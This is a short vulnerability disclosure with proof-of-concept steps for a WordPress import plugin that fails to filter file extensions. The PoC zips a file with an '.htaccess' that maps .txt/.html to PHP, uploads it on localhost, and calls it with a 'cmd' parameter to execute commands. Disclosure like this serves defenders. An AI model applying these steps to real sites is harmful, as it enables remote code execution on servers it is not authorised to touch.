The plugin is not properly filtering which file extensions are allowed to be imported on the server, which could allow administrators in multi-site WordPress installations to upload arbitrary files
[1] Create ‘poc.zip’ with 2 files like below [1-1] ‘exploit.php.txt’ is as follows. ---------------------------------- ---------------------------------- [1-2] ‘.htaccess’ is as follows. ---------------------------------- AddHandler application/x-httpd-php .php .html ---------------------------------- [2] Upload the ‘poc.zip’ via the button [Upload a file] on ‘http://localhost/wp-admin/admin.php?page=pmxi-admin-import’ [3] Access ‘http://localhost/wp-content/uploads/wpallimport/uploads/fa5b307edb3ccdd2244b2b60b1d9c0ee/exploit.php.txt?cmd=id’ in order to execute arbitrary commands. * fa5b307edb3ccdd2244b2b60b1d9c0ee is a random string from the server response.